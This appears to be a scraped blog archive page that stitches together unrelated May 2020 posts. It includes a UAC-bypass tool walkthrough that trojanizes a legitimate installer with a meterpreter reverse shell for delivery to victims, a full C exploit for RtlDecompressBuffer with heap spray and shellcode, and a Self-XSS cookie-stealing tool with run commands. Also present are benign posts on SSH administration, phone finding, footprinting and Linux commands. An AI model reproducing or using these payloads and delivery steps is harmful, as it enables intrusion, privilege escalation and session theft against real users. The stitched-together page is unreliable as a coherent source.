Electronic Campaingn Application Forum: May 2020

Friday, 22 May 2020

SneakyEXE: An "UAC-Bypassing" Codes Embedding Tool For Your Win32 Payload

About SneakyEXE
SneakyEXE is a tool which helps you embedding a UAC-Bypassing function into your custom Win32 payloads (x86_64 architecture specifically).

SneakyEXE was tested on:

Windows 7, 8, 10 (64 bit)
Parrot Security OS 4.7

Requirements of SneakyEXE:

For Linux: Architecture: Optional
Python 3.7.x: Yes
Module: termcolor
Distro: Any
Distro version: Any
For Windows: Architecture: x86_64
Python 3.7.x: No
Module: No
Windows version: 7, 8, 10

SneakyEXE's Installtion for Linux
You must install Python 3 first:

For Debian-based distros: sudo apt install python3
For Arch Linux based distros: sudo pacman -S python3

And then, open your Terminal and enter these commands:

SneakyEXE's Installtion for Windows

Download SneakEXE-master zip file.
Unzip it into your optional directory.
Change dir to \SneakyEXE\Win32\.
Execute sneakyexe.exe (or sys\sneakyexe.exe for an improved startup speed).
(Optional : you can copy sneakyexe.exe to whatever directory you want and delete the unzipped one)

NOTE: The payload can only be successfully executed by the user with Administrator privilege. Users with limited token wouldn't succeed.

SneakyEXE GUI verion installation for Windows
You must install Python 3 first. Download and run Python 3.7.x setup file from Python.org. On Install Python 3.7, enable Add Python 3.7 to PATH.
Download SneakEXE-master zip file and unzip it.
And then, open PowerShell or CMD on SneakyEXE folder where you have just unzipped SneakyEXE-master and enter these command:

pip install pillow
pip install pyinstaller
mkdir compile
cd compile
pyinstaller --windowed --onefile --icon=Icon.ico /source/Win32/GUI.py
cd dist
GUI.exe

How to use SneakyEXE?

Example:
I dowloaded Unikey from Unikey.org.
And then, i used msfvenom to inject payload to UniKeyNT.exe (payload used: windows/meterpreter/reverse_tcp). I called the payload file is uNiKeY.exe.

After that, to embed UAC-Bypassing codes to uNiKeY.exe, i used this command:
python3 sneakyexe bin=/home/hildathedev/uNiKeY.exe out=/home/hildathedev/SneakyEXE

And then, by some how, makes your victim installs the payload that was embedded UAC-Bypassing codes and enter these commands:

sudo msfconsole -q
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <Your IP address>
set LHOST <Your port>
exploit

and wait...

Disclaimer:

This tool was made for academic purposes or ethical cases only. I ain't taking any resposibility upon your actions if you abuse this tool for any black-hat acitivity
Feel free to use this project in your software, just don't reclaim the ownerhsip.

Credits: This tool does embed UACme which was originally coded by hfiref0x but the rest was pretty much all coded by me (Zenix Blurryface).

Download SneakyEXE

Related posts

Thursday, 21 May 2020

Administración Remota De Servidores Desde Android

Sería muy util poder administrar todos nuestros servidores desde la palma de la mano.

Sin embargo una shell linux, no es viable en el teclado de un teléfono incluso de un tablet, sobretodo porque hay que escribir muchos símbolos, por ejemplo el guión, y estos teclados están pensados más bien para texto.

Pues bien, de esta necesidad surgió la aplicación SSHControl:

SSHControl

Esta problematica la he solucionado a base de utilizar nevegadores y estructurar los outputs para no acumular excesiva información en la pantalla.

- Navegador de ficheros
- Navegador de procesos
- Navegador de conexiones
- Navegador de logs
- Navegador de drivers de kernel

Esto permite administrar múltiples servidores con un solo dedo :)

Controlar la seguridad de sus servidores ahora es bastante sencillo y ágil, por ejemplo con solo hacer un "tap" encima de un usuario, podemos ver sos procesos asociados, con hacer otro tap en un proceso podemos kilearlo, ver mas info etc ..
Con hacer un tap encima de una apliacción, vemos sus conexiónes, con un tap en una conexión podemos agregar una regla de filtrado en el firewall, etc ..

En la siguiente versión habilitaré la opción de "Custom Commnands", la cual es muy util,
cada administrador o usuario linux, tiene una serie de comandos que repite con mucha frecuencia,
bien pues esta opción permite pre-programar estos comandos habituales, de manera que puedes lanzarlos con un simple tap.

En el roadmap tengo pensadas nuevas funcionalidades muy útiles :)

Aqui os dejo algunas capturas de pantalla:

Related word

Conversations With Cyber Security Professionals: Steph And Sec

eLearnSecurity sat down with Stephanie Ihezukwu, known online as Steph and Sec. She serves as a Lead for WoSEC Houston and served as lead for WISP at last year's DefCon. She speaks at security conferences on various topics. She co-hosts a "happy hour" inspired podcast called Coolest Nerds in the Room, where she leads conversations based on the lives of people in tech.

She writes blog posts on her website, http://StephAndSec.com, which is also her side business. Plus, she recently released a course for LinkedIn Learning on Social Engineering and Security Awareness. Stephanie recognizes those that inspired her or helped her get to where she is today and hopes that everything she accomplishes moving forward does the same for others.

Steph has had a long and unique career in cyber security, one that started late when she transitioned from a journalism major to computer science in college. However, she left school early to develop on-the-job experience that she found invaluable compared to the classroom setting.

She is an advocate for learning on the job and finding a mentor in the business early on. For Stephanie, that meant finding someone who could relate to her experience as a black woman navigating the male-dominated cyber security industry.

For more insights into her training and growth in the industry, her early years as a child of Nigerian immigrants, and some keys to her success, listen to the interview on YouTube or press play on the video above.

RtlDecompresBuffer Vulnerability

Introduction

The RtlDecompressBuffer is a WinAPI implemented on ntdll that is often used by browsers and applications and also by malware to decompress buffers compressed on LZ algorithms for example LZNT1.

The first parameter of this function is a number that represents the algorithm to use in the decompression, for example the 2 is the LZNT1. This algorithm switch is implemented as a callback table with the pointers to the algorithms, so the boundaries of this table must be controlled for avoiding situations where the execution flow is redirected to unexpected places, specially controlled heap maps.

The algorithms callback table

Notice the five nops at the end probably for adding new algorithms in the future.

The way to jump to this pointers depending on the algorithm number is:
call RtlDecompressBufferProcs[eax*4]

The bounrady checks

We control eax because is the algorithm number, but the value of eax is limited, let's see the boudary checks:

int  RtlDecompressBuffer(unsigned __int8 algorithm, int a2, int a3, int a4, int a5, int a6)
{
  int result; // eax@4

  if ( algorithm & algorithm != 1 )
  {
    if ( algorithm & 0xF0 )
      result = -1073741217;
    else
      result = ((int (__stdcall *)(int, int, int, int, int))RtlDecompressBufferProcs[algorithm])(a2, a3, a4, a5, a6);
  }
  else
  {
    result = -1073741811;
  }
  return result;
}

Regarding that decompilation seems that we can only select algorithm number from 2 to 15, regarding that the algorithm 9 is allowed and will jump to 0x90909090, but we can't control that addess.

let's check the disassembly on Win7 32bits:

the movzx limits the boundaries to 16bits
the test ax, ax avoids the algorithm 0
the cmp ax, 1 avoids the algorithm 1
the test al, 0F0h limits the boundary .. wait .. al?

Let's calc the max two bytes number that bypass the test al, F0h

unsigned int max(void) {
__asm__("xorl %eax, %eax");
__asm__("movb $0xff, %ah");
__asm__("movb $0xf0, %al");
}

int main(void) {
printf("max: %u\n", max());
}

The value is 65520, but the fact is that is simpler than that, what happens if we put the algorithm number 9?

So if we control the algorithm number we can redirect the execution flow to 0x55ff8890 which can be mapped via spraying.

Proof of concept

This exploit code, tells to the RtlDecompresBuffer to redirect the execution flow to the address 0x55ff8890 where is a map with the shellcode. To reach this address the heap is sprayed creating one Mb chunks to reach this address.

The result on WinXP:

The result on Win7 32bits:

And the exploit code:

/*
    ntdll!RtlDecompressBuffer() vtable exploit + heap spray
    by @sha0coder

*/

#include 
#include 
#include 

#define KB  1024
#define MB  1024*KB
#define BLK_SZ 4096
#define ALLOC 200
#define MAGIC_DECOMPRESSION_AGORITHM 9

// WinXP Calc shellcode from http://shell-storm.org/shellcode/files/shellcode-567.php
/*
unsigned char shellcode[] = "\xeB\x02\xBA\xC7\x93"
"\xBF\x77\xFF\xD2\xCC"
"\xE8\xF3\xFF\xFF\xFF"
"\x63\x61\x6C\x63";
*/

// https://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-Shellcode.html
char *shellcode =
       "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
       "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
       "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
       "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
       "\x57\x78\x01\xc2\x8b\x7a\x20\x01"
       "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
       "\x45\x81\x3e\x43\x72\x65\x61\x75"
       "\xf2\x81\x7e\x08\x6f\x63\x65\x73"
       "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
       "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
       "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
       "\xb1\xff\x53\xe2\xfd\x68\x63\x61"
       "\x6c\x63\x89\xe2\x52\x52\x53\x53"
       "\x53\x53\x53\x53\x52\x53\xff\xd7";


PUCHAR landing_ptr = (PUCHAR)0x55ff8b90; // valid for Win7 and WinXP 32bits

void fail(const char *msg) {
  printf("%s\n\n", msg);
  exit(1);
}

PUCHAR spray(HANDLE heap) {
  PUCHAR map = 0;

  printf("Spraying ...\n");
  printf("Aproximating to %p\n", landing_ptr);

  while (map < landing_ptr-1*MB) {
    map = HeapAlloc(heap, 0, 1*MB);
  }

  //map = HeapAlloc(heap, 0, 1*MB);

  printf("Aproximated to [%x - %x]\n", map, map+1*MB);


  printf("Landing adddr: %x\n", landing_ptr);
  printf("Offset of landing adddr: %d\n", landing_ptr-map);

  return map;
}

void landing_sigtrap(int num_of_traps) {
  memset(landing_ptr, 0xcc, num_of_traps);
}

void copy_shellcode(void) {
  memcpy(landing_ptr, shellcode, strlen(shellcode));

}

int main(int argc, char **argv) {
  FARPROC RtlDecompressBuffer;
  NTSTATUS ntStat;
  HANDLE heap;
  PUCHAR compressed, uncompressed;
  ULONG compressed_sz, uncompressed_sz, estimated_uncompressed_sz;

  RtlDecompressBuffer = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlDecompressBuffer");

  heap = GetProcessHeap();

  compressed_sz = estimated_uncompressed_sz = 1*KB;

  compressed = HeapAlloc(heap, 0, compressed_sz);

  uncompressed = HeapAlloc(heap, 0, estimated_uncompressed_sz);


  spray(heap);
  copy_shellcode();
  //landing_sigtrap(1*KB);
  printf("Landing ...\n");

  ntStat = RtlDecompressBuffer(MAGIC_DECOMPRESSION_AGORITHM, uncompressed, estimated_uncompressed_sz, compressed, compressed_sz, &uncompressed_sz);

  switch(ntStat) {
    case STATUS_SUCCESS:
      printf("decompression Ok!\n");
      break;

    case STATUS_INVALID_PARAMETER:
      printf("bad compression parameter\n");
      break;


    case STATUS_UNSUPPORTED_COMPRESSION:
      printf("unsuported compression\n");
      break;

    case STATUS_BAD_COMPRESSION_BUFFER:
      printf("Need more uncompressed buffer\n");
      break;

    default:
      printf("weird decompression state\n");
      break;
  }

  printf("end.\n");
}

The attack vector


This API is called very often in the windows system, and also is called by browsers, but he attack vector is not common, because the apps that call this API trend to hard-code the algorithm number, so in a normal situation we don't control the algorithm number. But if there is a privileged application service or a driver that let to switch the algorithm number, via ioctl, config, etc. it can be used to elevate privileges on win7

Related news

Wednesday, 20 May 2020

How To Track Iphone Without Them Knowing

Few feelings are as stomach-sinkingly awful as the thought of losing an expensive new iPhone. Whether you left it on the bus or someone slid it out of your back pocket, we put so much store in our phones that their loss leaves is saddened and angered. Most of us keep at least copies of everything in our lives on our phones, from personal conversations to emails,

To say nothing of all our personal information and social media accounts. Of course there are security measures in place, but nobody wants to risk having all that information fall into the hands of the wrong people. In this article, I will show you how to find a phone that has been lost, whether your own phone or the phone of a friend or family member.

Can you track an iPhone without them knowing?

First off, hopefully you activated the Find My Phone feature of your iPhone when you still had it in your possession. Secondly, if your phone doesn't have service (and thus a connection to the Internet) or if you don't have iCloud set up, then these solutions are not going to work for you. Unfortunately phone technology is advanced but it isn't magical; if your phone isn't talking to the network or if you haven't turned on Find My Phone, then unfortunately the technological solution is probably not going to work. (Seriously. If you have possession of your phone(s) then stop reading this article, pick up your devices, go to Settings and select "Find My Phone" (iPhone) or "Find My Device" (Android) and make sure they are toggled on. TTjem upi cam dp ot/"

Without further ado, let's find your phone!

Can I Tell if Someone is Tracking my iPhone?

image1-3

Usually yes, if someone is using the "Find my Phone" feature, it will be displaying things on the iPhone screen. Thankfully, "Find My iPhone" comes pre-loaded on all phones with iOs 9 or newer. "Find my iPhone" is the gold standard when it comes to locating your lost iPhone. The service is integrated as part of iCloud. Here's how to use it to find your missing iPhone then track down your phone's exact location.

Step 1: Open up the "Find My iPhone" on a different device

It doesn't matter if you decide to use your iPad, your laptop, or a friend's iPhone – you can run the Find My Phone app fr0m Mac. You can use the Find my Phone app.

If you are using an Apple product like another phone or an iPad, you can simply click on the app.

If you are using a computer (even a Windows PC will work), go to icloud.com then click on the "Find iPhone" icon. Once you've clicked on the "Find iPhone" icon the website process and "Find my iPhone" app process are the same.

Step 2: Input Your Apple ID Credentials (they are the same as your iCloud info)

Since you are not using your phone, you won't be automatically logged in.

Once you log in to the app, select the "All Devices" drop-down option and then find the device that you want to locate.

Step 3: Once You Select Your Phone, Options Will Appear

As soon as you select your device on the page, iCloud will begin to search for it. If the search is successful, you will see your device on a map, pinpointing it's location. Before you sprint out the door to get it, there are some other options you should take a look at.

Once you select your device you will have three additional options in addition to seeing your phone's location. These options are playing a sound, activating "Lost Mode" and erase the phone.

Playing the sound is a great way to find your phone if you lost it somewhere around your house. If you click the option, an audio alert will go off on your phone which will hopefully help you find it. The alert will sound like a loud pinging noise alerting you that your phone is at home with you and not at the coffee shop you just visited. If you hear the pinging sound then you'll quickly find your phone by just following the sound.

When enabled, Lost Mode will lock your phone with a passcode and will display a message of your choice. This can either ensure it will be safe until you can find it, or will alert the thief what you expect of them and that you know where they are. This mode can also enable location services on your phone too.

However, if things have gone too far and you think there is a very slim chance you will ever get your device back – perhaps your phone has already crossed an international border – the best course of action is to simply erase it. Yes, this is giving up, but it also prevents your personal information getting into the hands of someone who could abuse it.

If you follow these steps, you should have your phone back in your pocket in no time.

Is there an app to track someones phone without them knowing?

maxresdefault-11

What if you're looking for someone else's phone? I'm sorry to burst your bubble, but you are not allowed to track someone else's phone without their knowledge. While there are supposedly apps that you can install on a target's phone to track it and keep tabs on what they are doing on it, that is completely illegal and immoral. In addition to the moral issue, there is the practical fact that they could find the app which could lead to a very awkward situation, possibly one involving the police.

However, there are times when you want to find a friend's phone and you have a legitimate reason, and (the important part) they have given you permission to find it. Just as when you were looking for your own phone, there is an app that can help you find the phones of your friends and family with ease. The "Find My Friends" app used to be an extra download, but now it comes with iOS, so if your friends have ever updated their phone, they should have it.

"Find My Friends" is an app that basically allows you to share your location with others and vice versa. It can be great for keeping track of where your kids are, knowing what your significant other is doing, or just keeping tabs on your friends. It can also help them find a lost phone (as long as you have "Shared Locations" with them). Here is how to set it up:

Step 1: Open the app on your phone and the phone of the person you want to be able to share locations with.

Step 2: Click your profile in the bottom left of the screen.

Step 3: Enable "Share My Location" and make sure AirDrop is enabled on your own phone.

Step 4: From there, your friends and family will be able to search/add you to share your location with them and vice versa. You each will need to accept the "Shared Location" request from the other. Now, you can just click on their profile in the app and keep track of them.

As you likely realized while reading this article, it is a much better idea to be proactive than reactive when it comes to tracking phones. If you set up "Find My iPhone" and "Find My Friends" before your phone gets stolen or lost, it will save you a lot of potential hassle down the road. While it may be a bit worrisome to have someone be able to see your location at all times, it can really save you once your phone goes missing and you need to track it down. It is obviously best to pick someone who you trust not to take advantage of the information an app like "Find My Friends" can provide them.

No one deserves to have their phone stolen or go missing, but thankfully, there are some ways to find it, or at least have the information deleted. Hopefully, this guide helped you be able to find your phone or the phone of your friends and family, or at least prepared you for when it may happen.

If you have other ways of finding a lost phone, please share them with us below!

@EVERYTHING NT

More info

Self-XSS - Self-XSS Attack Using Bit.Ly To Grab Cookies Tricking Users Into Running Malicious Code

Self-XSS attack using bit.ly to grab cookies tricking users into running malicious code

How it works?
Self-XSS is a social engineering attack used to gain control of victims' web accounts by tricking users into copying and pasting malicious content into their browsers. Since Web browser vendors and web sites have taken steps to mitigate this attack by blocking pasting javascript tag, I figure out a way of doing that using Bit.ly, so we can create a redirect pointing to "website.com/javascript:malicious_code". If the user is tricked to run the javascript code after "website.com/" the cookies of its authenticated/logged session of website.com will be sent to the attacker.

Features:
Port Forwarding using Ngrok and shortner using Bitly.com (Register for free)

Requirement
https://bitly.com account (Register for free)

Legal disclaimer:
Usage of Self-XSS for attacking targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

Usage:

git clone https://github.com/thelinuxchoice/self-xss
cd self-xss
bash self-xss.sh

Author: https://github.com/thelinuxchoice/self-xss
Twitter: https://twitter.com/linux_choice

Download Self-Xss

via KitPloit

Related word

CEH Practical: Information-Gathering Methodology

Information gathering can be broken into seven logical steps. Footprinting is performed during the first two steps of unearthing initial information and locating the network range.

Footprinting

Footprinting is defined as the process of establishing a scenario or creating a map of an organization's network and systems. Information gathering is also known as footprinting an organization. Footprinting is an important part of reconnaissance process which is typically used for collecting possible information about a targeted computer system or network. Active and Passive both could be Footprinting. The example of passive footprinting is assessment of a company's website, whereas attempting to gain access to sensitive information through social engineering is an example of active information gathering. Basically footprinting is the beginning step of hacker to get hacked someone because having information about targeted computer system is the main aspect of hacking. If you have an information about individual you wanna hack so you can easily hacked that individual. The basic purpose of information gathering is at least decide what type of attacks will be more suitable for the target. Here are some of the pieces of information to be gathered about a target
during footprinting:

Domain name
Network blocks
Network services and applications
System architecture
Intrusion detection system
Authentication mechanisms
Specific IP addresses
Access control mechanisms
Phone numbers
Contact addresses

Once this information is assemble, it can give a hacker better perception into the organization, where important information is stored, and how it can be accessed.

Footprinting Tools

Footprinting can be done using hacking tools, either applications or websites, which allow the hacker to locate information passively. By using these footprinting tools, a hacker can gain some basic information on, or "footprint," the target. By first footprinting the target, a hacker can eliminate tools that will not work against the target systems or network. For example, if a graphics design firm uses all Macintosh computers, then all hacking software that targets Windows systems can be eliminated. Footprinting not only speeds up the hacking process by eliminating certain tool sets but also minimizes the chance of detection as fewer hacking attempts can be made by using the right tool for the job. Some of the common tools used for footprinting and information gathering are as follows:

Domain name lookup
Whois
NSlookup
Sam Spade

Before we discuss these tools, keep in mind that open source information can also yield a wealth of information about a target, such as phone numbers and addresses. Performing Whois requests, searching domain name system (DNS) tables, and using other lookup web tools are forms of open source footprinting. Most of this information is fairly easy to get and legal to obtain.

Footprinting a Target

Footprinting is part of the preparatory pre-attack phase and involves accumulating data regarding a target's environment and architecture, usually for the purpose of finding ways to intrude into that environment. Footprinting can reveal system vulnerabilities and identify the ease with which they can be exploited. This is the easiest way for hackers to gather information about computer systems and the companies they belong to. The purpose of this preparatory phase is to learn as much as you can about a system, its remote access capabilities, its ports and services, and any specific aspects of its security.

DNS Enumeration

DNS enumeration is the process of locating all the DNS servers and their corresponding records for an organization. A company may have both internal and external DNS servers that can yield information such as usernames, computer names, and IP addresses of potential target systems.

NSlookup and DNSstuff

One powerful tool you should be familiar with is NSlookup (see Figure 2.2). This tool queries DNS servers for record information. It's included in Unix, Linux, and Windows operating systems. Hacking tools such as Sam Spade also include NSlookup tools. Building on the information gathered from Whois, you can use NSlookup to find additional IP addresses for servers and other hosts. Using the authoritative name server information from Whois ( AUTH1.NS.NYI.NET ), you can discover the IP address of the mail server.

Syntax
nslookup www.sitename.com

nslookup www.usociety4.com

Performing DNS Lookup

This search reveals all the alias records for www.google.com and the IP address of the web server. You can even discover all the name servers and associated IP addresses.

Understanding Whois and ARIN Lookups

Whois evolved from the Unix operating system, but it can now be found in many operating systems as well as in hacking toolkits and on the Internet. This tool identifies who has registered domain names used for email or websites. A uniform resource locator (URL), such as www.Microsoft.com , contains the domain name ( Microsoft.com ) and a hostname or alias ( www ).
The Internet Corporation for Assigned Names and Numbers (ICANN) requires registration of domain names to ensure that only a single company uses a specific domain name. The Whois tool queries the registration database to retrieve contact information about the individual or organization that holds a domain registration.

Using Whois

Go to the DNSStuff.com website and scroll down to the free tools at the bottom of the page.
Enter your target company URL in the WHOIS Lookup field and click the WHOIS button.
Examine the results and determine the following:
- Registered address
- Technical and DNS contacts
- Contact email
- Contact phone number
- Expiration date

Visit the company website and see if the contact information from WHOIS matches up to any contact names, addresses, and email addresses listed on the website.

If so, use Google to search on the employee names or email addresses. You can learn the email naming convention used by the organization, and whether there is any information that should not be publicly available.

Syntax
whois sitename.com
whois usociety4.com

Continue reading

Tuesday, 19 May 2020

Linux Command Line Hackery Series: Part 2

Welcome back to Linux Command Line Hackery, yes this is Part 2 and today we are going to learn some new skills. Let's rock

Let us first recap what we did in Part 1, if you are not sure what the following commands do then you should read Part 1.

mkdir myfiles # make a directory (folder) with myfiles as name
cd myfiles # navigate to myfiles folder
touch file1 file2 file3 # create three empty files file1, file2, file3
ls -l # view contents of current directory
echo This is file1 > file1 # write a line of text to file1
cat file1 # display contents of file1
echo This is another line in file1 >> file1 # append another line of text to file1
cat file1 # display the modified content of file1

Command: cp
Syntax: cp source1 [source2 ...] destination
Function: cp stands for copy. cp is used to copy a file from source to destination. Some important flags are mentioned below
Flags: -r copy directories recursively
-f if an existing destination file cannot be opened, remove it and try again

Let us make a copy of file1 using the new cp command:

cp file1 file1.bak

what this command is going to do is simply copy file1 to another file named file1.bak. You can name the destination file anything you want.
Say, you have to copy file1 to a different folder maybe to home directory how can we do that? well we can do that like this:

cp file /home/user/

I've used the absolute path here you can use whatever you like.

[Trick: ~ has a special meaning, it stands for logged in user's directory. You could have written previous command simply as
cp file1 ~/
and it would have done the same thing.]

Now you want to create a new directory in myfiles directory with the name backup and store all files of myfiles directory in the backup directory. Let's try it:

mkdir backup
cp file1 file2 file3 backup/

this command will copy file1 file2 file3 to backup directory.
We can copy multiple files using cp by specifying the directory to which files must be copied at the end.
We can also copy whole directory and all files and sub-directories in a directory using cp. In order to make a backup copy of myfiles directory and all of it's contents we will type:

cd .. # navigate to previous directory
cp -r myfiles myfiles.bak # recursively copy all contents of myfiles directory to myfiles.bak directory

This command will copy myfiles directory to myfiles.bak directory including all files and sub-directories

Command: mv
Syntax:   mv source1 [source2 ...] destination
Function: mv stands for move. It is used for moving files from one place to another (cut/paste in GUI) and also for renaming the files.

If we want to rename our file1 to  file1.old in our myfiles folder we'll do the follow:

cd myfiles # navigate first to myfiles folder
mv file1 file1.old

this command will rename the file1 to file1.old (it really has got so old now). Now say we want to create a new file1 file in our myfiles folder and move the file1.old file to our backup folder:

mv file1.old backup/ # move (cut/paste) the file1.old file to backup directory
touch file1 # create a new file called file1
echo New file1 here > file1 # echo some content into file1

Command: rmdir
Syntax: rmdir directory_name
Function: rmdir stands for remove directory. It is used for removing empty directories.

Let's create an empty directory in our myfiles directory called 'garbage' and then remove it using rmdir:

mkdir garbage
rmdir  garbage

Good practice keep it doing. (*_*)
But wait a second, I said empty directory! does it mean I cannot delete a directory which has contents in it (files and sub-directories) with rmdir? Yes!, you cannot do that with rmdir.
So how am I gonna do that, well keep reading...

Command: rm
Syntax: rm FILE...
Function:   rm stands for remove. It is used to remove files and directories. Some of it's important flags are enlisted below.
Flags: -r remove directories and their contents recursively
-f ignore nonexistent files and arguments, never prompt

Now let's say we want to delete the file file1.old in backup folder. Here is how we will do that:

rm backup/file1.old # using relative path here

Boom! the file is gone. Keep in mind one thing when using rm "IT IS DESTRUCTIVE!". No I'm not yelling at you, I'm just warning you that when you use rm to delete a file it doesn't go to Trash (or Recycle Bin). Rather it is deleted and you cannot get it back (unless you use some special tools quickly). So don't try this at home. I'm just kidding but yes try it cautiously otherwise you are going to loose something important.

Did You said that we can delete directory as well with rm? Yes!, I did. You can delete a directory and all of it's contents with rm by just typing:

rm -r directory_name

Maybe we want to delete backup directory from our myfiles directory, just do this:

rm -r backup

And it is gone now.
Remember what I said about rm, use it with cautious and use rm -r more cautiously (believe me it costs a lot). -r flag will remove not just the files in directory it will also remove any sub-directories in that directory and there respective contents as well.

That is it for this article. I've said that I'll make each article short so that It can be learned quickly and remembered for longer time. I don't wanna bore you.

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